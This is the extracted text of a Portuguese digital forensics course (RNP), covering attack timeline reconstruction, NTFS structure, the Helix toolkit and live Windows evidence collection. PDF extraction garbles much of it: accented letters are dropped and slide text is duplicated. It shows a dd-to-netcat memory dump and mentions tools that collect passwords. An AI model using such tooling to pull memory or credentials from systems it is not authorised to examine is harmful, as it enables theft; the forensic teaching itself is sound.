Por exemplo, o timezone da mquina est configurado para PDT (Pacific Daylight Time, ou GMT-8) e o da estao forense para MST (Mountain Standard Time, padro do Helix, ou GMT-8). O timezone oficial no Brasil GMT-3 ou GMT-2 durante o horrio de vero, e isto deve ser levado em considerao quando o investigador for analisar evidncias em uma mquina com timezone diferente daquele da mquina investigada.

Linha de tempo e reconstruo do ataque

Escola Superior de Redes RNP

118

Correlao de informaes
As id i A evidncias encontradas d t d devem ser correlacionadas l i d com as informaes de tempo fornecidas pelas ferramentas f f t forenses:
Sun Aug 10 2003 16:30:30 0 mac 0 mac / / root root 35804 /dev/hdx1 root root 35833 /dev/hdx2

Sun Aug 10 2003 16:30:30 0 mac -/---------- root ro ot 35804 /dev/hdx1 0 mac -/---------- root root 3 5833 /dev/hdx2 Sun Aug 10 2003 16:30:52 5636 ma. -/-rw-r--r-- root root 47169 /usr/lib/adore.o

Sun Aug 10 2003 16:30:52 5636 ma. /usr/lib/adore.o

/ rw r

root

root

47169

No exemplo temos a criao dos arquivos /dev/hdx1 e /dev/hdx2, que normalmente indicam uma infeco pelo vrus RST.b. Vimos em sesses anteriores que o antivrus detectou a presena deste vrus em diversos arquivos na mquina, o que pode indicar que tais ferramentas foram executadas.

No exemplo seguinte temos indicaes de acesso e modificao de contedo do arquivo adore.o, o executvel do rootkit Adore, indicando que o mesmo foi instalado na mquina com sucesso.

Reconstruo do ataque q
Aps A encontrar e correlacionar i f t l i informaes d t de tempo das evidncias coletadas, o analista deve tentar reconstruir as aes executadas pelos invasores, t i t d l i desde o momento da invaso at o momento em que a mquina f i l d para anlise i foi levada li A reconstruo do ataque deve tentar descobrir o modo como o invasor obteve acesso ao sistema, identificando possveis vulnerabilidades e ferramentas utilizadas no ataque e no controle do sistema Uma boa prtica criar uma tabela descrevendo os eventos de acordo com a linha de tempo

Reconstruo do ataque
Logicamente, todas as informaes de conexo remota devem ser correlacionadas a logs externos ao servidor comprometido, para garantir a validade dos mesmos. Outra forma de verificar informaes e identificar evidncias utilizando mecanismos de procura, como o Google. Alm disso, todas as informaes de tempo devem ser relativas ao mesmo timezone. Todas as ferramentas do pacote forense analisado tm opes para mostrar as informaes de datas em timezones diferentes. Um bom relatrio de anlise forense deve ser composto por uma reconstruo o mais detalhada possvel de tudo que aconteceu na mquina, bem como uma anlise dos mtodos e tcnicas utilizadas pelo invasor, inclusive com possveis solues e tcnicas para proteo e deteco deste tipo de ao no futuro.

Reconstruo do ataque q
Data 06/Ago/2003 11:16:40 06/Ago/2003 12:09:17 10/Ago/2003 13:24:29 10/Ago/2003 13:33:57 10/Ago/2003 14:33:19 10/Ago/2003 15:52:10 10/Ago/2003 16:30:30 10/Ago/2003 16:30:52 10/Ago/2003 20:30:39 Ao / Evidncia Last login: Wed Aug 6 11:16:40 on tty2 Reinicializao do servidor (/etc/issue). Possvel comprometimento do servio HTTPS. Parada dos servios syslogd e klogd. Possvel instalao das ferramentas descritas na URL www.ntfs.com/ntfs-mft.htm Parada do servio HTTPD. Infeco pelo vrus RST.b. Instalao do rootkit Adore.
Comeo da investigao (comando date no console)

Anlise forense Sesso de aprendizagem 7

119

Reconstruo do ataque q
Finalmente, o analista d Fi l t li t deve id tifi possveis identificar i solues para os problemas e vulnerabilidades identificados id tifi d Se possvel, devem ser sugeridas formas de se proteger ou identificar atividades como as ocorridas no sistema analisado Esta parte da anlise forense permite ao responsvel p pela mquina invadida entender o que aconteceu, p q q para que possa se proteger de futuros ataques

Concluses
Aprendemos a organizar as evidncias encontradas A d i id i t d numa linha de tempo, identificando os momentos chaves d i h da invaso e o comprometimento d servidor. ti t do id A linha de tempo uma ferramenta indispensvel para analisar o sistema. O objetivo final da anlise forense e do relatrio de j reconstruo do ataque criar um documento que p possa ser utilizado p empresa como conhecimento pela p formalizado a partir dos erros e preveno contra futuros ataques.

Concluses
Vimos como organizar as evidncias encontradas numa linha de tempo, identificando os momentos chaves da invaso e o comprometimento do servidor. A linha de tempo uma ferramenta indispensvel para analisar o sistema e responder s perguntas Quando? e Como? relativas invaso. Estudamos ainda os pontos importantes que devem ser destacados em um relatrio de reconstruo do ataque. Na prxima sesso conheceremos as principais ferramentas e tcnicas existentes para realizar a anlise forense em ambiente Windows. Muitas das tcnicas e teorias vistas nas sesses sobre anlise forense em Linux podem e devem ser utilizadas em ambientes Windows, embora existam algumas diferenas importantes que devem ser levadas em considerao.

Linha de tempo e reconstruo do ataque

Escola Superior de Redes RNP

120

Anlise forense Sesso de aprendizagem 7

7
Sesso de aprendizagem 7 Linha de tempo e reconstruo do ataque Roteiro de atividades
Tpicos e conceitos
\\Identificar

quando e como ocorreu a invaso, dando uma viso clara do ataque e dos mtodos utilizados pelo invasor.

Competncias tcnicas desenvolvidas


\\O

aluno aprender a identificar a linha do tempo do ataque e identificar os eventos ocorridos no sistema comprometido.

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90-120

minutos

Escola Superior de Redes RNP

122

Atividade 1 Determinando a linha do tempo


Muitas ferramentas foram instaladas no sistema durante a ao dos invasores. Vimos na sesso 5 que existia um arquivo TAR que no havia sido apagado, mas movido de diretrio. O arquivo chama-se /data/ compromised/s.tgz. Com um colega, tente identificar na linha de tempo informaes que confirmem se os arquivo e ferramentas foram utilizados efetivamente pelos invasores. Lembre-se de que quando um arquivo executado, o seu tempo de acesso modificado. Quando ele criado, o comando fls mostra mudanas nos tempos de acesso e modificao de status do arquivo ao mesmo tempo. Faa um relatrio com suas concluses.

Atividade 2 Identificando os eventos


No material do aluno existe uma tabela Excel chamada timeline.xls, com todos os eventos encontrados na sesso 4 e sesses anteriores a ela, cadastrados de acordo com sua data de ocorrncia. Complete esta tabela com as informaes coletadas por voc e seu colega nos exerccios das trs sesses anteriores e nos resultados do exerccio anterior. Aps montar a tabela, apresente o resultado aos colegas de turma. Lembre-se de fornecer evidncias que comprovem as atividades identificadas e catalogadas.

Anlise forense Sesso de aprendizagem 7

8
Sesso de aprendizagem 8 Anlise forense em Windows
Sumrio da sesso
Anlise forense em Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124 Sistema de arquivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125 Kit de ferramentas forense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126 Primeiras aes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129 Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133 Atividade 1 Coleta de evidncias em Windows . . . . . . . . . . . . . . . . . . . . . . . 134 Atividade 2 Classificando as ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . 134 Atividade 3 Busca de outras ferramentas para Windows . . . . . . . . . . . . . . . . 134

Escola Superior de Redes RNP

124

Anlise forense em Windows


O processo d anlise f de li forense em um sistema i t Windows no difere do ambiente Unix Principal diferena: informaes volteis Windows tem grande presena em desktop de g p p empresas e usurios caseiros Resultado: anlise em um sistema vivo (on-line) (on line)

Anlise forense em Windows


Devido ao fato de sistemas Windows terem grande presena em ambientes de desktop de empresas e usurios caseiros, o tipo de incidente que geralmente envolve uma mquina com este sistema um pouco diferente do que normalmente acontece com sistemas Linux utilizados em servidores. Toda a metodologia utilizada nas sesses anteriores ainda vlida neste caso. A principal diferena que em sistemas Windows as informaes mais desejadas so volteis e somente podem ser obtidas no sistema vivo (live system ou on-line), o que exige a realizao de procedimentos de coleta de dados ao vivo. Existe uma diferena grande entre os diversos tipos de incidentes que ocorrem em uma mquina comprometida. Por exemplo, em um caso de mquina infectada por vrus, o procedimento que geralmente se toma a formatao da mquina sem maiores investigaes. No caso de utilizao maliciosa do sistema ou de fraude, muitas vezes as autoridades sero envolvidas e, nestes casos, no necessrio coletar muitas evidncias em sistemas vivos, mas sim manter a mquina do suspeito sob custdia para que seja investigada pela autoridade policial competente.

Anlise forense em Windows


Principais P i i i razes no comprometimento d um sistema ti t de i t Windows: Sistema infectado por vrus ou cdigo malicioso Caso envolvendo direitos autorais Pornografia Fraude Presena de trojan ou backdoor Utilizao do sistema de forma maliciosa

Em casos de pornografia infantil, o investigador tem que tomar muito cuidado com a coleta de evidncias, pois a lei no permite a transmisso ou cpia do material pornogrfico, o que pode causar problemas jurdicos para o investigador e para a empresa. recomendvel entrar em contato com as autoridades policiais o mais rpido possvel e discutir com eles a melhor ao a ser tomada. No possvel simplesmente desligar a mquina, pois ela pode estar sendo monitorada como parte de uma investigao mais ampla.

Anlise forense Sesso de aprendizagem 8

125

Sistema de arquivos q
Sistema d arquivos NTFS Si t de i
Padro no Windows XP e Vista Windows Vista implementa o TxF em cima do NTFS
Verso atual: 3.1
Veremos ferramentas para NTFS mas a maioria funciona em FAT e NTFS, FAT32 Uma partio NTFS composta de diversas estruturas, sendo que a principal a Master File Table (MFT)

Sistema de arquivos
O Windows Vista tambm utiliza o sistema NTFS como padro, mas implementa no sistema de arquivos uma outra estrutura chamada Transactional File System (TxF). Este sistema de arquivos implementa uma estrutura de banco de dados em cima do NTFS, permitindo diversas funcionalidades oferecidas pelo Windows Vista. Os sistemas de arquivos compatveis com o

FAT32, NTFS e TxF. Do ponto de vista do usurio, a grande diferena est no aumento da capacidade das parties que cada sistema pode ttrabalhar. O sistema FAT permite no mximo parties de 32 gigaSistema d arquivos NTFS Si de i bytes, enquanto as verses mais recentes do NTFS e do TxF permitem parties Padro no Windows XP e Vista superiores a 2 terabytes.

Sistema de arquivos so os seguintes: FAT (File Alocation Table), q Windows

Windows Vista implementa o TxF em cima do NTFS

Verso atual: 3.1 A primeira informao presente em um volume NTFS o Partition Boot Sector e Veremos ferramentas para NTFS File maioria sistema operacional NTFS, o primeiro arquivo do volume NTFS o Mastermas aTable. Ofunciona em FAT e FAT32 tamanho do disco para armazenar o MFT, espao sempre reserva sempre 12% do contnuo a partir Uma partio NTFS composta de diversas estruturas, sendo que a do incio do disco. principal a Master File Table (MFT)

Sistema de arquivos q
O MFT composto de 16 registros, sendo que somente 12 so registros utilizados atualmente:
$MFT Master File Table $MftMirr Cpia de Master File Table $LogFile Arquivo de registro de eventos do NTFS $Volume Informaes sobre o volume $AttrDef Definies de atributos $ Di t i raiz d sistema $. Diretrio i do i t $Bitmap Mapa de utilizao de clusters $Boot Setor de boot da partio $BadClus Lista de bad cluster $Secure Informaes sobre segurana $Upcase Tabela de converso de caracteres $Extend Arquivo de extenses do NTFS

Estas estruturas so importantes quando se tenta recuperar informaes sobre o sistema de arquivos com as ferramentas de anlise forense que vimos anteriormente. A rea que sobra da MFT aps armazenar os registros acima serve para armazenar as informaes de arquivos e diretrios do sistema.

Anlise forense em Windows

Escola Superior de Redes RNP

126

Sistema de arquivos q
Os arquivos so armazenados como uma srie de atributos atributos, equivalentes aos inodes no Linux:
Standard Information Inclui informaes como timestamps e nmero de links Attribute List Lista a localizao de todos os atributos do arquivo File Name Armazena o nome do arquivo Security D S it Descriptor I f i t Informaes sobre o dono do arquivo e permisses d acesso b d d i i de Data Armazena os dados do arquivo Object ID Identificador nico de arquivo Logged Tool Stream Registro de mudanas do metadado Reparse Point Ponto de juno para diretrios e volumes Index Root Usado para implementar ndice de arquivos e diretrios Index Allocation Usado para implementar ndice de arquivos e diretrios Index Bitmap Usado para implementar ndice em diretrios muito longos Volume Information Contm a verso do volume Volume Name Contm o nome do volume

Os registros sobre arquivos so armazenados na forma de atributos, equivalentes aos inodes no Linux. Entretanto, o NTFS armazena muito mais informaes sobre os arquivos. Os atributos de nome de arquivos podem ser repetidos arbitrariamente e permitem armazenar o nome MS-DOS do arquivo (8.3 caracteres), nomes longos (255 caracteres), alm de nomes de links para o arquivo.

O atributo de dados utilizado para armazenar o contedo dos arquivos. Uma diferena importante no NTFS a possibilidade de existir mais de um atributo de dados para um mesmo arquivo. Isto , um mesmo arquivo pode armazenar mltiplos contedos totalmente distintos, processo conhecido como Alternate Data Streams. Conheceremos este tipo de estrutura nas prximas sesses.

Kit de ferramentas forense


Capaz de reproduzir resultados No altera os dados analisados Mnimo d interferncia M i de i t f i possvel l Possui validade jurdica Graphical User Interface (GUI) p ( ) X Console User Interface (CUI)

Kit de ferramentas forense


O kit possui ferramentas capazes de reproduzir o mesmo resultado quando executadas em condies similares, ou seja, duas ferramentas precisam gerar o mesmo resultado sob as mesmas condies para provar que no interferem nos dados. A ferramenta no deve realizar nenhuma alterao quando examina alguma evidncia. Este fato pode ser comprovado pela comparao de hashes criptogrficos (MD5, SHA1).

Outra caracterstica delas deve ser interferir o mnimo possvel no ambiente onde coletam dados, ou seja, quanto menor o grau de interao da ferramenta com o ambiente, menor a ocorrncia de contaminao de evidncias. Devem possuir validade jurdica e/ou ser aceitas como instrumentos de coleta de evidncias. Para o processo de interao com sistema vivo recomendada a utilizao de ferramentas de comando de linha, pois elas causam uma interferncia menor no ambiente analisado. J para anlises em imagens e evidncias, pode-se utilizar ferramentas com interface grfica, uma vez que esta etapa realizada na estao de anlise forense.

Anlise forense Sesso de aprendizagem 8

127

Kit de ferramentas forense


Outros O t pontos a considerar: t id Custo Licenciamento Cdigo fonte Cdigo-fonte Portabilidade

\\Custo

Algumas opes comerciais podem ser caras demais para serem utilizadas esporadicamente. Algumas ferramentas no podem ser distribudas em CDs. Seu uso, mesmo que gratuito, necessita que a ferramenta seja obtida diretamente do autor. Muitas das opes gratuitas possuem cdigo aberto, o que permite que sejam auditadas para garantir que os resultados no sejam alterados e no possuam aes no declaradas. Algumas ferramentas podem ser utilizadas em diversos sistemas operacionais, o que pode facilitar sua escolha em razo da familiaridade de uso.

\\Licenciamento

\\Cdigo-fonte

\\Portabilidade

Kit de ferramentas forense


Ferramentas disponveis no Live CD do Helix:
2K 2K3 AgileRM Bin Cygwin DiamondCS FAU Foundstone FSP Hoverdesk Imager g IRCR Microsoft Net Latency Nir Soft NT NT Security PCtime Perl Putty Sysinternals y System Tools UnxUtils Vista WFT WinDBG Winfingerprint XP cmdenv1.bat cmdenv1 bat NC_Server.bat

O Live CD do Helix pode ser usado em ambientes Windows, pois contm um pacote de ferramentas teis para coleta de evidncias em sistemas vivos:
\\2K

Executveis bsicos do sistema para Windows 2000 (cmd.exe, netstat.exe, ifconfig.exe etc). Contm tambm o Windows 2000 Resource Kit; Executveis bsicos do sistema para Windows 2003 (cmd.exe, netstat.exe, ifconfig.exe etc); (Nigilant32) Ferramenta de auxlio ao investigador que permite realizar cpia do disco e de memria de sistemas Windows, alm de coletar informaes sobre registro e processos em execuo, entre outras funes;

\\2K3

\\AgileRM

\\Bin

Contm ferramentas variadas para coleta de evidncias. Entre elas, podemos citar foremost.exe, nc.exe, sha1deep.exe, alm de ferramentas para coletar o registro do Windows e nomes de usurios e senhas do sistema; Ferramentas Unix portadas para Windows: strings, cat, file, wget, less e ls, entre outras; (DiamondCS tools) Ferramentas para coletar nomes de processos, portas abertas e conexes ativas na mquina; (Forensic Acquisition Utilities) Ferramentas para coleta de evidncias; inclui dd, nc, volume_dump, md5sum e wipe; Ferramentas para coleta de evidncias: anlise de cookies, histricos do Internet Explorer, portas abertas, entre outros; Ferramenta cliente/servidor para coleta de dados volteis remotamente; Ferramenta para capturar snapshot da tela;

\\Cygwin

\\DiamondCS

\\FAU

\\Foundstone

\\FSP

\\ Hoverdesk

Anlise forense em Windows

Escola Superior de Redes RNP


\\Imager \\IRCR

128

(FTK Imager) Ferramenta para coleta de evidncias e imagem de disco;

Coleo de scripts BAT para automatizar a execuo de diversas ferramentas do Live CD do Helix; Algumas ferramentas do Windows para verses antigas (Windows 98 e ME);

\\Microsoft

\\Net

Latency Duas ferramentas para mostrar espao livre em disco e servios rodando na mquina; Soft Diversas ferramentas para recuperao de senhas do Windows e aplicativos; Executveis bsicos do sistema para Windows NT;

\\Nir

\\NT \\NT

Security Ferramentas para coleta de informaes de segurana do disco e do Windows; Ferramenta para sincronizao de tempo com NTP;

\\PCtime \\Perl

Ferramentas para identificao de modem, Alternate Data Streams, coleta de mac times e de interfaces de rede; Cliente SSH de uso livre;

\\Putty

\\Sysinternals

Ferramentas para coleta de informaes sobre processos, conexes e servios, entre outras informaes; Tools Ferramentas para coletar informaes sobre usurios, eventos do log do Windows, usurios e polticas de segurana instaladas na mquina; Algumas ferramentas de Unix portadas para Windows;

\\System

\\UnxUtils \\Vista

Executveis bsicos do sistema para Windows Vista (cmd.exe, netstat. exe, ifconfig.exe etc); (Windows Forensic Toolchest) Instrumento para automatizar a execuo de diversas ferramentas e sumarizar os resultados; Depurador de cdigo para Windows;

\\WFT

\\WinDBG

\\Winfingerprint

Ferramenta para coletar informaes sobre processos e DLLs associadas a eles; Executveis bsicos do sistema para Windows XP (cmd.exe, netstat.exe, ifconfig.exe, etc); Arquivo BAT para modificar variveis de ambiente visando a utilizao exclusiva das ferramentas do CD do Helix, evitando assim que se use as ferramentas possivelmente comprometidas do sistema; Arquivo BAT para iniciar um servidor Netcat na mquina.

\\XP

\\cmdenv1.bat

\\NC_Server.bat

Anlise forense Sesso de aprendizagem 8

129

Kit de ferramentas forense


Outras fontes de ferramentas: www.sysinternals.com www.foundstone.com f d t users.erols.com/gmgarner/forensics Windows R Wi d Resource Kit www.microsoft.com i ft Windows XP Service Pack 2 Support Tools www microsoft com www.microsoft.com GNU utilities for Win32 unxutils.sourceforge.net Win32 Forensics Tools www.first.org first org http://www.forensicswiki.org/index.php?title=Helix htt // f i t d /f i /f i t l ht http://www.forinsect.de/forensics/forensics-tools.htmll http://www.opensourceforensics.org/tools/windows.html

As ferramentas que compem o kit de anlise forense devem ser gravadas impreterivelmente em mdia que no permita contaminao, como o caso do Live CD do Helix. Mesmo com esse procedimento necessrio possuir os hashes criptogrficos (md5sum ou sha1sum) de todos os arquivos para garantir que a ferramenta em uso no foi modificada. A relao dos hashes deve ser armazenada na mesma mdia das ferramentas. No diretrio \IR e tambm no Live CD do Helix (diretrio \IR) o aluno pode encontrar as assinaturas MD5 das ferramentas disponveis.

Primeiras aes
Primeiras aes: Preservar evidncias Coletar id i C l t evidncias mais volteis i lt i Verificao externa do sistema: Nmeros de srie N d i Dispositivos conectados E t d gerall d sistema Estado do i t Conectividade Energia Tela do sistema (console): Fotografia Print-screen (compromete a memria)

Primeiras aes
As primeiras aes do investigador ao ter acesso a um sistema vulnervel podem comprometer evidncias se no forem tomados cuidados com a ordem de coleta das evidncias. Preferencialmente, o investigador deve comear a coleta de evidncias por aquelas mais volteis e que no podero ser reproduzidas posteriormente. Entre essas evidncias esto as informaes sobre o ambiente onde a mquina est localizada, sobre a tela do computador e sobre a memria RAM.

O primeiro passo ao interagir com um sistema fazer a correta identificao do mesmo, verificando nmero de srie, de patrimnio ou qualquer outra numerao que permita ter certeza de que se trata do sistema investigado. Isto permite tambm identificar corretamente o sistema caso seja necessrio. A interao com o sistema deve ser presenciada preferencialmente por um representante legal, para garantir a validade do processo, e todos os passos devem ser cuidadosamente registrados para posterior verificao. Deve-se evitar capturar a tela do computador com um print screen, pois com isso perdem-se as informaes que estavam na rea de transferncia (clipboard) e podem ser comprometidas as evidncias em memria. O kit de ferramentas pode estar disponvel em um CD ou drive USB, sendo que a utilizao de um CD mais recomendvel, pois interfere menos no sistema. Como unidade de armazenamento dos dados coletados podemos utilizar um drive USB, ou enviar os dados remotamente para a estao forense do investigador.

Anlise forense em Windows

Escola Superior de Redes RNP

130

Eventualmente essa configurao pode no estar disponvel no sistema a ser analisado, razo pela qual devemos possuir mdias alternativas, como disco Firewire ou at mesmo uma cpia do kit em disquetes.

cmd.exe

Podemos ver acima o comando utilizado para executar o prompt de comandos, a partir do item Executar do menu do Windows. Aps executar o prompt, existe um arquivo BAT chamado cmdenv.bat dentro do diretrio \IR\xp, que modifica a varivel PATH do sistema para apontar somente para os diretrios de ferramentas no CD. Dessa forma, garantimos que no executaremos nenhuma ferramenta comprometida no sistema. O investigador deve sempre se lembrar desse passo que garante a validade das evidncias coletadas. Imagem da memria na estao forense:
D:\IR\xp> nc -l -p 999 > d:\tmp\physmem.img8

Imagem da memria na mquina comprometida:

Primeiras aes
Imagem d memria I da i
Na estao forense:
D:\IR\xp> nc l p 999 > d:\tmp\physmem img d:\tmp\physmem.img

D:\IR\xp> dd if=\\.\Physicalmemory conv=noerror | n c 127.0.0.1 9998 Command Line: dd if=\\.\Physicalmemory conv=noerror 27/01/2008 23:12:59 (UTC) 27/01/2008 21:12:59 (local time) Current User: COMPUTADOR\usuario Total physical memory reported: 1047024 KB Copying physical memory... Physical memory in the range 0x00100000-0x001ff000 c ould not be read. Stopped reading physical memory: 27/01/2008 23:14:07 (UTC) 27/01/2008 21:14:07 (local time) 261871+0 records in 261871+0 records out

Na mquina comprometida:
D:\IR\xp> dd if=\\.\Physicalmemory conv=noerror | nc 127.0.0.1 999 Command Line: dd if=\\.\Physicalmemory conv=noerror 27/01/2008 23:12:59 (UTC) 27/01/2008 21:12:59 (local time) Current User: COMPUTADOR\usuario Total physical memory reported: 1047024 KB Copying physical memory... y y g Physical memory in the range 0x00100000 0x001ff000 could not be read. Stopped reading physical memory: 27/01/2008 23:14:07 (UTC) 27/01/2008 21:14:07 (local time) 261871+0 records in 261871+0 records out

Anlise forense Sesso de aprendizagem 8

131

Para realizar a imagem da memria no recomendvel utilizar as ferramentas grficas do CD de ferramentas, pois como elas sero carregadas na memria, provavelmente vo sobrescrever evidncias que poderiam ser teis. Portanto, vamos utilizar a ferramenta dd.exe disponvel no pacote de ferramentas, pois esta uma verso com suporte coleta de memria RAM, alm de outras funcionalidades. Para utilizar o dd, precisamos especificar um dispositivo especial chamado \\.\ PhysicalMemory que d acesso memria fsica do sistema. Para garantir a preservao de evidncias, esta verso da ferramenta dd no permite gravao de arquivos em dispositivos locais, de modo que precisamos redirecionar a sada do comando para o comando netcat, como vimos em sesses anteriores.

Primeiras aes
Hora d sistema H do i t Necessrio conhecer horrio correto e timezone da mquina Garante a correlao de evidncias com registros g externos
D:\IR\xp> date /t dom 27/01/2008 D:\IR\xp> time /t 21:41

Para garantir a coerncia das evidncias e identificar modificaes causadas no sistema pelo investigador e diferenci-las das modificaes provocadas pelo invasor, importante identificar corretamente o horrio e o timezone do sistema. Desta forma, se houver alguma diferena entre o horrio da mquina comprometida e a estao forense, ela pode ser levada em conta na hora de analisar as evidncias coletadas. Verses diferentes de sistema operacional fornecero resultados distintos para os comandos acima. Algumas verses do comando date mostram tambm o horrio da mquina. Hora do sistema:
D:\IR\xp> reg query HKEY_LOCAL_MACHINE\SYSTEM\Curre ntControlSet\Control\TimeZoneInformation8 Listing of [SYSTEM\CurrentControlSet\Control\\TimeZ oneInformation] REG_DWORD Bias 180 REG_SZ StandardName E. South America Standard Time REG_DWORD StandardBias 0 REG_BINARY StandardStart Data to follow: 00000200 03000000 00000000 00000000 REG_SZ DaylightName E. South America Daylight Time REG_DWORD DaylightBias -60 REG_BINARY DaylightStart Data to follow: 00000A00 02000000 00000000 00000000 REG_DWORD ActiveTimeBias 120

Primeiras aes
Hora do sistema
D:\IR\xp> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneIn formation Listing of [SYSTEM\CurrentControlSet\Control\\TimeZoneInformation] REG_DWORD Bias 180 REG_SZ StandardName E. South America Standard Time REG_DWORD StandardBias 0 REG_BINARY StandardStart Data to follow: 00000200 03000000 00000000 00000000 REG_SZ DaylightName E. South America Daylight Time REG_DWORD DaylightBias -60 REG_BINARY DaylightStart Data to follow: 00000A00 02000000 00000000 00000000 REG_DWORD ActiveTimeBias 120

Podemos fazer uma consulta no registro para descobrir o timezone. Alm disso, j vimos que o comando dd fornece a hora do sistema em horrio UTC e horrio local. A ferramenta reg.exe permite fazer consultas a chaves de registro.
Anlise forense em Windows

Escola Superior de Redes RNP

132

Primeiras aes
Hora do i t H d sistema
D:\IR\xp> net time \\computador Current time at \\computador is 1/27/2008 9:51 PM The command completed successfully successfully. D:\IR\xp> net time \\computador /QUERYSNTP The current SNTP value is: 200.144.121.33,0x1 The command completed successfully.

Podemos verificar acima que o sistema sincroniza o horrio com um servidor NTP remoto, o que uma boa garantia de que o horrio da mquina est correto. Isto facilita a correlao de eventos com fontes externas como logs de roteadores e firewalls. O comando net.exe tambm permite fazer uma srie de consultas importantes ao sistema. Vamos conhecer mais caractersticas deste comando nas sesses seguintes, mas vale a pena estudar melhor o funcionamento dessa ferramenta.

Concluses
Vimos nessa sesso os conceitos b i Vi it bsicos d anlise de li forense em sistemas Windows Algumas caractersticas do NTFS diferem das que vimos at agora em ambientes Linux Conhecemos as ferramentas do Live CD do Helix e vimos como utilizar algumas delas p coletar para g evidncias em uma mquina comprometida

Concluses
Na prxima sesso vamos conhecer mais sobre as ferramentas que permitem coletar informaes sobre processos e conexes de rede, e sobre as estruturas prprias do Windows, como registro, usurios e polticas de segurana.

Anlise forense Sesso de aprendizagem 8

8
Sesso de aprendizagem 8 Anlise forense em Windows Roteiro de atividades
Tpicos e conceitos
\\Iniciando

a anlise forense em sistemas Windows.

Competncias tcnicas desenvolvidas


\\O

aluno aprender a iniciar uma investigao de um sistema Windows e a utilizar as ferramentas disponveis para o trabalho.

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90

minutos

Escola Superior de Redes RNP

134

Atividade 1 Coleta de evidncias em Windows


Execute os passos descritos na sesso em sua estao e documente todos os passos tomados, criando fichas de evidncia do mesmo modo como foi feito nas sesses anteriores. Voc deve coletar informaes sobre o ambiente onde est sua mquina, documentar as informaes externas, capturar a tela (pode usar um print screen ou ferramenta de captura), coletar imagem da memria e informaes sobre o horrio da mquina. No necessrio coletar uma cpia da imagem de disco, mas colocar em seu relatrio os comandos necessrios para realizar essa operao.

Atividade 2 Classificando as ferramentas


Use o tempo destinado a este exerccio para estudar as ferramentas presentes no pacote de ferramentas. Prepare um relatrio descrevendo a funo de cada ferramenta. Quais ferramentas podem ser utilizadas para coletar uma imagem da memria RAM da mquina? Quais ferramentas permitem fazer cpias do disco? Qual delas voc acha que a ferramenta mais completa, no sentido de coletar mais informaes teis ao investigador?

Atividade 3 Busca de outras ferramentas para Windows


Pesquise na internet outras ferramentas para realizar anlise forense em sistemas Windows. Faa um relatrio descrevendo as ferramentas que encontrar e as caractersticas que as tornam interessantes. Dica: comece com os links de Forensic Windows Tools e Forensics Tools fornecidos na bibliografia.

Anlise forense Sesso de aprendizagem 8

9
Sesso de aprendizagem 9 Anlise forense avanada em Windows
Sumrio da sesso
Anlise forense avanada em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136 Coleta de informaes bsicas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136 Processos em execuo no sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 140 Bibliotecas do sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145 Informaes sobre arquivos abertos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147 Servios em execuo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148 Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153 Atividade 1 Levantando informaes do sistema . . . . . . . . . . . . . . . . . . . . . 154 Atividade 2 Identificando processos comprometidos . . . . . . . . . . . . . . . . . . 154 Atividade 3 Novas ferramentas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154

Escola Superior de Redes RNP

136

Anlise forense avanada em Windows


Windows tem caractersticas que tornam mais complexa a coleta de evidncias Mesmo assim, as tcnicas vistas at agora continuam valendo: Informaes bsicas sobre o sistema Identificao e coleta de processos em execuo Informaes sobre bibliotecas em uso Servios

Anlise forense avanada em Windows


A realizao de um processo de anlise forense em um sistema Windows no difere conceitualmente do processo realizado no ambiente Linux. A principal diferena que em um sistema Windows as informaes mais desejadas so volteis e s podem ser obtidas no sistema vivo (live system ou on-line), o que exige a realizao de inmeros procedimentos de coleta de dados ao vivo.

Devido ao fato de sistemas Windows terem grande presena em ambientes de desktop de empresas e usurios caseiros, o tipo de incidente que em geral envolve uma mquina com este sistema um pouco diferente do que normalmente acontece com sistemas Linux, que costumam ser utilizados em servidores. Por este motivo, as principais razes para a realizao de um procedimento de anlise forense em um sistema Windows so as seguintes:
\\O \\O

sistema est infectado por algum vrus ou cdigo malicioso; sistema foi comprometido; envolvendo direitos autorais;

\\Caso

\\Pornografia; \\Fraude; \\Presena \\Utilizao

de trojan ou backdoor instalado; do sistema de forma maliciosa.

Coleta de informaes bsicas


Informaes sobre o sistema
D:\IR\xp> uptime 18:38:20 up 3:58, D:\IR\xp> hostname Computador D:\IR\xp> whoami Usuario

Coleta de informaes bsicas


Assim como na coleta de evidncias em Linux, precisamos saber inicialmente h quanto tempo o sistema est ligado, para restringir o perodo possvel para a ocorrncia do incidente. Para isso, vamos utilizar uma ferramenta disponvel no kit de ferramentas do Live CD do Helix. Abra um prompt de comandos, faa as mudanas nas variveis de ambiente para executar somente os binrios do kit (cmdenv.bat) e execute os comandos mostrados.

0 users,

load average: 0.00, 0.00, 0.00

O comando uptime.exe permite saber h quanto tempo o sistema est on-line. Podemos verificar tambm que ele indica o nmero de usurios que esto acessando o sistema, valor que nem sempre bate com a realidade, pois ele busca essa informao em um local diferente de onde o Windows normalmente a mantm.
Anlise forense Sesso de aprendizagem 9

137

